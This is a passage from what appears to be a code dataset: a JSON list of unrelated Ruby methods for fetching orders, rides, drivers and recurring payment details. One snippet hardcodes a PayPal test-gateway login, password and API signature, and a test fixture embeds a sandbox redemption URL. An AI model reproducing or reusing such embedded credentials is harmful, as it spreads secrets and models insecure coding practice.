Spree::Config[:orders_per_page])\n end", "def list_recurring_details(shopper_reference:, merchant_account: @merchant_account, contract: \"RECURRING\")\n postJSON(\"/Recurring/v12/listRecurringDetails\",\n shopperReference: shopper_reference,\n recurring: { contract: contract },\n merchantAccount: merchant_account\n )\n end", "def client_orders\n self.clients.map(&:orders)\n end", "def recurring_charges\n data.recurring_charges\n end", "def requests_for_driver\n self.rides.joins(:relationships).where(relationships: {is_driving: false})\n end", "def get_orders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrdersApi.get_orders ...'\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 250\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling OrdersApi.get_orders, must be smaller than or equal to 250.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling OrdersApi.get_orders, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/orders'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'next'] = opts[:'_next'] if !opts[:'_next'].nil?\n query_params[:'previous'] = opts[:'previous'] if !opts[:'previous'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetOrdersResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"OrdersApi.get_orders\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrdersApi#get_orders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def order_list\n if org_type==\"поставщик\"\n return orders\n else\n return outgoing_orders\n end\n end", "def orders(id, orderid = nil)\n get(\"/accounts/#{id}/orders#{orderid ? \"/#{orderid}\" : ''}\")['orders']\n end", "def get_order_list(criteria = {})\n order_criteria = {}\n order_criteria[\"ins1:OrderCreationFilterBeginTimeGMT\"] = criteria[:created_from]\n order_criteria[\"ins1:OrderCreationFilterEndTimeGMT\"] = criteria[:created_to]\n order_criteria[\"ins1:StatusUpdateFilterBeginTimeGMT\"] = criteria[:updated_from]\n order_criteria[\"ins1:StatusUpdateFilterEndTimeGMT\"] = criteria[:updated_to]\n order_criteria[\"ins1:JoinDateFiltersWithOr\"] = criteria[:join_dates]\n\n if order_ids = criteria[:order_ids]\n order_criteria[\"ins1:OrderIDList\"] = {\"ins1:int\" => order_ids}\n end\n\n if client_order_ids = criteria[:client_order_ids]\n order_criteria[\"ins1:ClientOrderIdentifierList\"] = {\"ins1:string\" => client_order_ids}\n end\n\n order_criteria[\"ins1:DetailLevel\"] = criteria[:detail_level] if criteria[:detail_level]\n order_criteria[\"ins1:ExportState\"] = criteria[:export_state] if criteria[:export_state]\n order_criteria[\"ins1:OrderStateFilter\"] = criteria[:state] if criteria[:state]\n order_criteria[\"ins1:PaymentStatusFilter\"] = criteria[:payment_status] if criteria[:payment_status]\n order_criteria[\"ins1:CheckoutStatusFilter\"] = criteria[:checkout_status] if criteria[:checkout_status]\n order_criteria[\"ins1:ShippingStatusFilter\"] = criteria[:shipping_status] if criteria[:shipping_status]\n order_criteria[\"ins1:RefundStatusFilter\"] = criteria[:refund_status] if criteria[:refund_status]\n order_criteria[\"ins1:DistributionCenterCode\"] = criteria[:distribution_center] if criteria[:distribution_center]\n order_criteria[\"ins1:PageNumberFilter\"] = criteria[:page_number]\n order_criteria[\"ins1:PageSize\"] = criteria[:page_size]\n\n soap_response = client.request :get_order_list do\n soap.header = soap_header\n soap.body = {\n \"ins0:accountID\" => creds(:account_id),\n \"ins0:orderCriteria\" => order_criteria\n }\n end\n\n @last_request = client.http\n @last_response = soap_response\n end", "def get_orders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrderApi.get_orders ...'\n end\n # resource path\n local_var_path = '/order/orders'\n\n # query parameters\n query_params = {}\n query_params[:'order_id'] = opts[:'order_id'] if !opts[:'order_id'].nil?\n query_params[:'payment_method'] = opts[:'payment_method'] if !opts[:'payment_method'].nil?\n query_params[:'company'] = opts[:'company'] if !opts[:'company'].nil?\n query_params[:'first_name'] = opts[:'first_name'] if !opts[:'first_name'].nil?\n query_params[:'last_name'] = opts[:'last_name'] if !opts[:'last_name'].nil?\n query_params[:'city'] = opts[:'city'] if !opts[:'city'].nil?\n query_params[:'state_region'] = opts[:'state_region'] if !opts[:'state_region'].nil?\n query_params[:'postal_code'] = opts[:'postal_code'] if !opts[:'postal_code'].nil?\n query_params[:'country_code'] = opts[:'country_code'] if !opts[:'country_code'].nil?\n query_params[:'phone'] = opts[:'phone'] if !opts[:'phone'].nil?\n query_params[:'email'] = opts[:'email'] if !opts[:'email'].nil?\n query_params[:'cc_email'] = opts[:'cc_email'] if !opts[:'cc_email'].nil?\n query_params[:'total'] = opts[:'total'] if !opts[:'total'].nil?\n query_params[:'screen_branding_theme_code'] = opts[:'screen_branding_theme_code'] if !opts[:'screen_branding_theme_code'].nil?\n query_params[:'storefront_host_name'] = opts[:'storefront_host_name'] if !opts[:'storefront_host_name'].nil?\n query_params[:'creation_date_begin'] = opts[:'creation_date_begin'] if !opts[:'creation_date_begin'].nil?\n query_params[:'creation_date_end'] = opts[:'creation_date_end'] if !opts[:'creation_date_end'].nil?\n query_params[:'payment_date_begin'] = opts[:'payment_date_begin'] if !opts[:'payment_date_begin'].nil?\n query_params[:'payment_date_end'] = opts[:'payment_date_end'] if !opts[:'payment_date_end'].nil?\n query_params[:'shipment_date_begin'] = opts[:'shipment_date_begin'] if !opts[:'shipment_date_begin'].nil?\n query_params[:'shipment_date_end'] = opts[:'shipment_date_end'] if !opts[:'shipment_date_end'].nil?\n query_params[:'rma'] = opts[:'rma'] if !opts[:'rma'].nil?\n query_params[:'purchase_order_number'] = opts[:'purchase_order_number'] if !opts[:'purchase_order_number'].nil?\n query_params[:'item_id'] = opts[:'item_id'] if !opts[:'item_id'].nil?\n query_params[:'current_stage'] = opts[:'current_stage'] if !opts[:'current_stage'].nil?\n query_params[:'channel_partner_code'] = opts[:'channel_partner_code'] if !opts[:'channel_partner_code'].nil?\n query_params[:'channel_partner_order_id'] = opts[:'channel_partner_order_id'] if !opts[:'channel_partner_order_id'].nil?\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_sort'] = opts[:'_sort'] if !opts[:'_sort'].nil?\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'OrdersResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderApi#get_orders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def driver_single_orders\n @orders = Timeslot.joins(:orders).where(orders: { category: :single}, timeslots: {region_id: current_user.driver.region_id})\n render json: @orders, status: 200\n end", "def payment_orders\n xml do |xml|\n xml.css(\"paymentOrdersResult > paymentOrders > paymentOrder\").map do |node|\n SubscriptionPaymentOrder.load_from_xml(node)\n end\n end\n end", "def monitor_orders()\r\n\t\topen = $future_rest.open_orders symbol: 'BTCUSDT'\r\n\t\t# all orders\r\n\t\tall = $future_rest.all_orders symbol: 'BTCUSDT'\r\n\tend", "def request_orders\n @player.request_orders\n end", "def order_url\n 'http://petersapparel.parseapp.com/order?order_id=123456'\n end", "def make_api_call_for_getting_order(order_id, access_token)\n url = ENV['NINJAVAN_URL_FOR_GETTING_ORDER'] + order_id\n RestClient.get(url, Authorization: \"Bearer #{access_token}\")\n end", "def orders(options = {})\n perform_get_with_key_and_objects('/orders', options, :items, Epages::Order)\n end", "def open_orders(options)\n request :account, :get, 'openOrders', options\n end", "def get_order(order_id)\n authenticated? do\n query_and_build \"marketplace/orders/#{order_id}\"\n end\n end", "def get_orders\n if params['order_by'].nil?\n return nil\n else\n @orderer = {params['order_by'] => params['asc']}\n orders = params['order_by']\n if !params['asc']\n orders = orders + \" desc\"\n end\n return orders\n end\n end", "def tracking_orders\n return [] if !is_employee?\n employee.orders\n end", "def trip_get_driver(driver_id)\n RideShare::Driver.find(driver_id)\n end", "def order(order, options = {})\n id = epages_id(order)\n perform_get_with_object(\"/orders/#{id}\", options, Epages::Order)\n end", "def getorder(uuid)\n res = sget(\"/getorder\", {uuid: uuid})\n ::BittrexRb::Response::Account.new(res)\n end", "def orders\n authenticated_post(\"orders\").body\n end", "def get(order_id)\n get_request(t_url(:order, order_id))\n end", "def get_order_ids_for_cancel_or_pause\n #here sending back the order ids which are supposed to be marked canceled.\n #delivery_date > (ORDER_UPDATE_LIMIT+1).days.from_now.to_date)\n self.orders.where(\"state = ? and payment_state = ? and shipment_state = ? and delivery_date > ?\",\n 'confirm', 'pending', 'pending',(ORDER_UPDATE_LIMIT+1).days.from_now.to_date).pluck(:id)\n end", "def search_orders(params={})\n coerce_search_orders_params(params)\n\n EventbriteSDK::ResourceList.new(\n url_base: \"#{path}/orders\",\n object_class: EventbriteSDK::Order,\n key: :orders,\n query: params\n )\n end", "def generate_orders\n @productos_por_taxonomias.each do |taxonomia, line_items|\n # Picamos la orden actual en sub-ordenes si la orden excede la cantidad de lineas configuradas en el backend par auna orden.\n line_items.each_slice(Spree::Config[:max_order_lines]) do |line_items_slice|\n line_items_slice.each do |line_item|\n @order = nil\n current_order = Spree::Order.new( user_id: spree_current_user.id,\n bill_address_id: @main_order.bill_address_id,\n ship_address_id: @main_order.ship_address_id,\n created_by_id: spree_current_user.id )\n populator = Spree::OrderPopulator.new(current_order, current_order.currency)\n populator.populate(line_item.variant_id, line_item.quantity)\n end\n @current_order = spree_current_user.last_incomplete_spree_order\n add_salesman\n puts \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n @current_order.next\n @current_order.next\n @current_order.next\n @zapato = \"chao\"\n end\n end\n end", "def orders(params = {})\n get('/market/orders', params)\n .map { |data| build_persisted_order data }\n end", "def drivers\n rides.map { |ride| ride.driver }\n end", "def get_order(order_id)\n res = request('get', \"https://#{orders_path}/#{order_id}\")\n parse_response res\n end", "def pick_orders\n return Order.where(:status => 'ordered', :dropper_id => nil, :picker_id => nil) if self.pickup_boy?\n end", "def list_recurring_details(attributes)\n request = list_recurring_details_request(attributes)\n execute_request(request)\n end", "def get_order_list(options = {})\n xml = send_recv(:GetOrderList, :Start => (options[:start] || 1)) do |h|\n h[:BeginDate] = if options[:begin].respond_to?(:strftime)\n options[:begin].strftime(\"%m/%d/%Y\")\n else\n options[:begin]\n end\n\n h[:EndDate] = if options[:end].respond_to?(:strftime)\n options[:end].strftime(\"%m/%d/%Y\")\n else\n options[:end]\n end\n end\n\n out = []\n xml.OrderList do\n xml.OrderDetail do\n { :id => xml.OrderID,\n :date => Time.parse(xml.OrderDate),\n :status => xml.StatusDesc,\n :processed => xml.OrderProcessFlag? }\n end\n end\n out\n end", "def get_order(account_number, order_id)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/orders/{order_id}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number,\r\n 'order_id' => order_id\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.get query_url, headers: headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def orders\r\n @orders ||= OrdersController.new(configuration: @configuration)\r\n end", "def getNextPendingOrder(status_hash)\n\t\t$CONFIG[:api_path] +='/next_pending_order'\n\t\tnew_order_hash = Hash.new\n\t\tresponse = RestClient.get(apiAuth, {:accept => :json})\n\t\t\n\t\tif response.to_s.include?('{\"meta\":{\"status\":200,\"msg\":\"OK\"}')\n\t\t\tnew_order_hash = JSON.parse(response)\n\t\t\tnew_order = new_order_hash[\"response\"][\"order\"][\"order_number\"]\n\t\t\tstatus_hash[:msg] = \"order: #{new_order} received\"\n\t\t\t$LOG.info(status_hash[:msg])\n\t\t\tputs status_hash[:msg]\n\t\telse\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:msg] = 'no new orders'\n\t\t\tputs status_hash[:msg]\n\t\t\t$LOG.info(status_hash[:msg])\n\t\t\texit\n\t\tend\n\t\t\n\t\torder_hash = {\n\t\t\t:order_number\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"order_number\"].to_s,\n\t\t\t:order_number\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"order_number\"],\n\t\t\t:image_zip_file\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"image_zip_file\"].to_s,\n\t\t\t:status_email\t\t\t\t\t=>\t$CONFIG[:status_email],\n\t\t\t:ship_option\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_option\"],\n\t\t\t:ship_to_first_name\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_first_name\"],\n\t\t\t:ship_to_last_name\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_last_name\"],\n\t\t\t:customer_first_name\t=>\tnew_order_hash[\"response\"][\"order\"][\"customer_first_name\"],\n\t\t\t:customer_first_name\t=>\tnew_order_hash[\"response\"][\"order\"][\"customer_first_name\"],\n\t\t\t:customer_last_name\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"customer_last_name\"],\n\t\t\t:customer_email\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"customer_email\"],\n\t\t\t:ship_to_company\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_company\"],\n\t\t\t:ship_to_addr1\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_addr1\"],\n\t\t\t:ship_to_addr2\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_addr2\"],\n\t\t\t:ship_to_city\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_city\"],\n\t\t\t:ship_to_state\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_state\"],\n\t\t\t:ship_to_zip\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_zip\"],\n\t\t\t:ship_to_phone\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_phone\"],\n\t\t\t:items\t\t\t\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"items\"]\n\t\t}\n\t\torder_hash\n\tend", "def options_recurring\n\t\tif self.sku.sku_items.first.item.periodicity == 'daily'\n\t\t\tperiod = :daily\n\t\telsif self.sku.sku_items.first.item.periodicity == 'weekly'\n\t\t\tperiod = :weekly\n\t\telsif self.sku.sku_items.first.item.periodicity == 'monthly'\n\t\t\tperiod = :monthly\n\t\telsif self.sku.sku_items.first.item.periodicity == 'yearly'\n\t\t\tperiod = :yearly\n\t\telsif self.sku.sku_items.first.item.periodicity == 'quarterly'\n\t\t\tperiod = :quarterly\n\t\telse\n\t\t\tperiod = :monthly\n\t\tend\n\t\t\n\t\t#Determine end of trial period/first time subscription is billed\n\t\tif self.sku.items.first.trial_length_in_days\n\t\t\tstart_time = (Time.now + self.sku.items.first.trial_length_in_days.days).utc\n\t\telse\n\t\t\tstart_time = Time.now.utc\n\t\tend\n\t\t\n\t\t@options = {\n\t\t\t:ip => ip,\n\t\t\t:periodicity => period,\n\t\t\t:email => self.email,\n\t\t\t:comment => self.sku.description,\n\t\t\t:starting_at => start_time.strftime(\"%Y-%m-%dT%H:%M:%SZ\"),\n\t\t\t:billing_address => {\n\t\t\t\t:name => self.billing_address.name,\n\t\t\t\t:address1 => self.billing_address.street,\n\t\t\t\t:address2 => self.billing_address.street2,\n\t\t\t\t:city => self.billing_address.city,\n\t\t\t\t:state => self.billing_address.state,\n\t\t\t\t:zip => self.billing_address.zip,\n\t\t\t\t:country => self.billing_address.country,\n\t\t\t\t:phone => self.billing_address.phone\n\t\t\t}\n\t\t}\n\tend", "def get_vendor_relationships()\n build_header_auth('/vendor_relationships', API_VERSION_1, 'GET')\n build_request()\n request = Net::HTTP::Get.new(@uri.request_uri)\n @header.each do |name, value|\n request[name] = value\n end\n response = @http.request(request)\n # response.body = JSON.parse(response.body)\n return response\n end", "def gateway\n ActiveMerchant::Billing::Base.mode = :test\n\n @gateway ||= \n ActiveMerchant::Billing::PaypalRecurringGateway.new(\n :login => 'nk_tes_1218714620_biz_api1.mail.ru',\n :password => '1218714626',\n :signature => 'An5ns1Kso7MWUdW4ErQKJJJ4qi4-A-b1ANj9g14qW6XOboBut7nnhDdn'\n )\n @gateway\n end", "def orders_including_customer\n Spree::Order\n .joins(:order_cycle)\n .includes(:customer)\n .for_order_cycle(order_cycle)\n .completed\n .order('customers.name ASC')\n end", "def rides # returns rides of given driver\n Ride.all.select do|ride| ride.driver == self\n end\n end", "def recorders\n find_related_frbr_objects( :is_recorded_by, :which_roles?) \n end", "def test_test_get_order()\r\n # Parameters for the API call\r\n reference_order_id = 'RA180426-1401-64'\r\n\r\n # Perform the API call through the SDK function\r\n result = self.class.controller.get_order(reference_order_id)\r\n\r\n # Test response code\r\n assert_equal(@response_catcher.response.status_code, 200)\r\n\r\n # Test whether the captured response is as we expected\r\n assert_not_nil(result)\r\n expected_body = JSON.parse(\r\n '{\"referenceOrderID\":\"RA180426-1401-64\",\"customerIdentifier\":\"sdkautotest4\",'\\\r\n '\"accountIdentifier\":\"sdkautotest5\",\"accountNumber\":\"A32386768\",\"amountCharg'\\\r\n 'ed\":{\"value\":1,\"currencyCode\":\"USD\",\"total\":1},\"marginShare\":{\"value\":0,\"cu'\\\r\n 'rrencyCode\":\"USD\"},\"denomination\":{\"value\":1,\"currencyCode\":\"USD\"},\"utid\":\"'\\\r\n 'U561593\",\"rewardName\":\"Reward Link\",\"sender\":{\"firstName\":\"\",\"lastName\":\"\",'\\\r\n '\"email\":\"\"},\"recipient\":{\"email\":\"\",\"firstName\":\"\",\"lastName\":\"\"},\"sendEmai'\\\r\n 'l\":false,\"status\":\"COMPLETE\",\"createdAt\":\"2018-04-26T20:08:59.624Z\",\"reward'\\\r\n '\":{\"credentials\":{\"Redemption URL\":\"https://sandbox.rewardlink.io/r/1/ed0Ht'\\\r\n 'zSblNV6oFddNnnlf68eXzGQoREvcxwxu_Vi5Wk\"},\"credentialList\":[{\"label\":\"Redemp'\\\r\n 'tion URL\",\"value\":\"https://sandbox.rewardlink.io/r/1/ed0HtzSblNV6oFddNnnlf6'\\\r\n '8eXzGQoREvcxwxu_Vi5Wk\",\"type\":\"url\"}],\"redemptionInstructions\":\"<p>&bull; C'\\\r\n 'lick on the redemption link above to activate your Reward Link.<br />\\\\r\\\\n'\\\r\n '&bull; Next, you will be able to spend your balance on retail gift cards.</'\\\r\n 'p>\\\\r\\\\n\\\\r\\\\n<p>If you don&#39;t want to spend your entire Reward Link val'\\\r\n 'ue right away, save the email or URL and return via the redemption link - y'\\\r\n 'our value will be waiting to be spent. This allows you to store the balance'\\\r\n ' to redeem at another time.</p>\\\\r\\\\n\"}}'\r\n )\r\n received_body = JSON.parse(@response_catcher.response.raw_body)\r\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\r\n end", "def order(order_id)\n Order.find(order_id)\n end", "def getNextCancelledOrder(status_hash)\n\t\t$CONFIG[:api_path] +='/next_cancelled_order'\n\t\tbegin\n\t\t\tresponse = RestClient.get(apiAuth)\n\t\trescue\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:msg] = \"couldn't connect to api\"\n\t\tend\n\n\t\tif response.to_s.include?('{\"meta\":{\"status\":200,\"msg\":\"OK\"}')\n\t\t\ttmp_order_hash = JSON.parse(response)\n\t\t\tstatus_hash[:status] = 0\n\t\t\tstatus_hash[:msg] = 'cancelled order received'\n\t\telse\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:msg] = 'no cancelled orders'\n\t\t\tputs status_hash[:msg]\t\t\t\n\t\t\texit\n\t\tend\n\t\t\n\t\torder_hash = {\n\t\t\t:order_number\t\t\t\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"order_number\"].to_s,\n\t\t\t:customer_first_name\t=>\ttmp_order_hash[\"response\"][\"order\"][\"customer_first_name\"],\n\t\t\t:customer_last_name\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"customer_last_name\"],\n\t\t\t:customer_email\t\t\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"customer_email\"],\n\t\t\t:status\t\t\t\t\t\t\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"status\"]\n\t\t}\n\t\torder_hash\n\tend", "def order_list\n $tracer.trace(__method__)\n return GameStopOrderList.new(ToolTag.new(table.id(create_ats_regex_string(\"/ordersTable/\")).find.a.id(create_ats_regex_string(\"/lnkOrderDetail/\")), __method__))\n end", "def list_recurring_details_request(attributes = {})\n Adyen::REST::ListRecurringDetailsPayment::Request.new('Recurring.listRecurringDetails', attributes,\n response_class: Adyen::REST::AuthorisePayment::ListRecurringDetailsResponse)\n end", "def get_drivers\n drivers\n end", "def recurring(money, creditcard, options = {})\r\n requires!(options, :rebill_frequency)\r\n\r\n request = RocketGate::GatewayRequest.new\r\n response = RocketGate::GatewayResponse.new\r\n service = RocketGate::GatewayService.new\r\n if test? # Test transaction?\r\n service.SetTestMode(true) # Set internal test mode\r\n end\r\n\r\n#\r\n#\tAdd the details of the transaction to the request.\r\n#\r\n add_merchant_data(request, options) # Add merchant information\r\n add_customer_data(request, options) # Add customer information\r\n add_invoice_data(request, money, options)\r\n add_recurring_data(request, options)\r\n add_creditcard(request, creditcard) # Add credit card data\r\n add_address(request, options[:billing_address])\r\n add_business_rules_data(request, options)\r\n\r\n#\r\n#\tPeform the transaction and return a response.\r\n#\r\n service.PerformPurchase(request, response)\r\n return create_response(response)\r\n end", "def reports\n @orders_r = @branch.orders.where(:date=> Date.today).order(\"created_at desc\")\n @order_close = @branch.orders.find_by_mode_and_date(\"4\",Date.today)\n\n respond_to do |format|\n format.html\n format.json {render json: @order}\n end\n end", "def get_payments(options = {})\n request_params = {}\n request_params[:PaymentID] = options[:payment_id] if options[:payment_id]\n request_params[:ModifiedAfter] = options[:modified_since] if options[:modified_since]\n request_params[:order] = options[:order] if options[:order]\n request_params[:where] = options[:where] if options[:where]\n\n response_xml = http_get(@client, \"#{@xero_url}/Payments\", request_params)\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/payments'})\n end", "def generate_order\n p \"#{client}: #{total}\"\n end", "def drivers\n rides.map {|ride| ride.driver}.uniq\n end", "def index# not :post order. this is a :get index of previous orders.\n @orders = current_refinery_user.orders.order('created_at DESC')\n end", "def recurring(campaign_id)\n Iterable.request(conf, \"/campaigns/recurring/#{campaign_id}/childCampaigns\").get\n end", "def getOrderDetail(orderId)\n try_get(\"https://checkout.google.com/sell/multiOrder?order=#{orderId}&ordersTable=1\")\n return @agent.page.body\n end", "def return_all_drivers\n return @trips.map{ |trip| trip.driver }\n end", "def get_order\n @order = Order.find(params[:id])\n end", "def get_order\n @order = Order.find(params[:id])\n end", "def previous_driver_trips\n driver_list = []\n rider_trips = RideShare::Trip.all_rider_trip_instances(@rider_id)#does this mean i need to make a self method of rider trip instances?\n rider_trips.each do |object|\n driver_list << object.driver_object\n end\n return driver_list\n end", "def me_order_pending\n object_from_response(self, Artsy::Client::Domain::Order, :get, \"/api/v1/me/order/pending\", {})\n end", "def get_orders\n current_level = Level.where(level: params[:level].to_i);\n if params[:id].to_i == 0\n #Shows all the build orders that haven't been used yet\n @orders = BuildOrder.where(level: current_level, used: nil)\n else\n #shows all the build orders that were used around the given time\n last_order = Time.at(date).to_datetime\n @orders = BuildOrder.where(used: last_order..(last_order + 5.minute), level: current_level)\n end\n\n @glyphs = Glyph.all\n respond_to do |format|\n format.js\n end\n end", "def get_order_lines\n current_order = @order_lines.get_order_lines_by_order_id(@order_status)\n return current_order\n end", "def get_drivers\n return return_all_drivers\n end", "def completed_orders\n orders = current_user.restaurant.orders.where(\"status = ? OR status = ? \", 7, 8)\n render json: orders, status: :ok\n end", "def drivers\n self.rides.map { |ride| ride.driver }.uniq\n end", "def all_recurrings(&block)\n recurrings.list(&block)\n end", "def drivers\n driver_ids = trips.map { |trip| trip.driver_id }\n driver_ids.sort!.uniq! # sort by ascending id and remove any duplicates\n # find the driver instances matching the given driver ids\n driver_ids.map { |driver_id| Driver.find(driver_id)}\n end", "def my_pick_orders\n return Order.where(:status => 'ordered', :picker_id => self.id) if self.pickup_boy?\n end", "def index\n @orders = Order::Preorder.all\n end", "def getOrderList(startDate, endDate, state = \"CHARGED\", expanded = false)\n\n try_get(\"https://checkout.google.com/sell/orders\")\n\n @agent.page.form_with(:name => \"dateInput\") do |form|\n form[\"start-date\"] = startDate\n form[\"end-date\"] = endDate\n if (state == \"ALL\")\n form.delete_field!(\"financial-state\")\n else\n form[\"financial-state\"] = state\n end\n if (expanded)\n form[\"column-style\"] = \"EXPANDED\"\n end\n #form[\"date-time-zone\"] = \"Asia/Tokyo\"\n #form[\"_type\"] = \"order-list-request\"\n #form[\"query-type\"] = \"\"\n form.click_button\n end\n\n return @agent.page.body\n end", "def receive_order\n response = ApiOrdenCompra.recepcionarOrdenCompra(params[:_id])\n render json: response\n end", "def get_rates(origin, destination, items, booking_type)\n base_url = \"http://www.e-go.com.au/calculatorAPI\"\n puts(\"origin EgoApiWrapper:get_rates is #{origin.class.to_s}\") if Rails.env.test?\n pickup = origin.postal_code\n delivery=destination.postal_code\n \n rates = Array.new\n items.each do |item|\n width=item[:width].to_f.round(0).to_i\n height=item[:height].to_f.round(0).to_i\n length=item[:length].to_f.round(0).to_i\n weight_grams=item[:grams].to_i\n weight_kg = (weight_grams.to_f / 1000).ceil\n quan = item[:quantity].to_i\n \n #only get rate for one box\n query = \"#{base_url}?pickup=#{pickup}&delivery=#{delivery}&type=Carton&width=#{width}&height=#{height}&depth=#{length}&weight=#{weight_kg.to_s}&items=1\"\n \n \n \n unless booking_type.blank?\n query+= \"&bookingtype=#{booking_type}\"\n end\n puts(\"Qeury is #{query}\")\n uri = URI.parse(query)\n \n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n\n response = http.request(request) \n \n ret = parse_response(response.body)\n \n ret[:price] = ret[:price].to_f * quan unless ret.nil?\n rates << ret unless ret.nil?\n end\n \n return_array = Array.new\n service_name =\"E-Go\"\n\n if (rates.empty?)\n return_array = [{\"service_name\" => \"ERROR getting rates from e-go\", 'service_code'=> \"E-go\", 'total_price' => 0.0, 'currency' => \"AUD\"}]\n else\n return_array = rates.collect{ |r| {\"service_name\" => \"#{service_name} (#{r[:eta]})\", 'service_code'=> r[:eta], 'total_price' => r[:price].to_f*100, 'currency' => \"AUD\"} }\n end\n puts(\"return_array is #{return_array.to_s}\") if Rails.env.test?\n \n return return_array \n end", "def next_billing_date\n paypal_recurring_details[:next_billing_date]\n end" ]
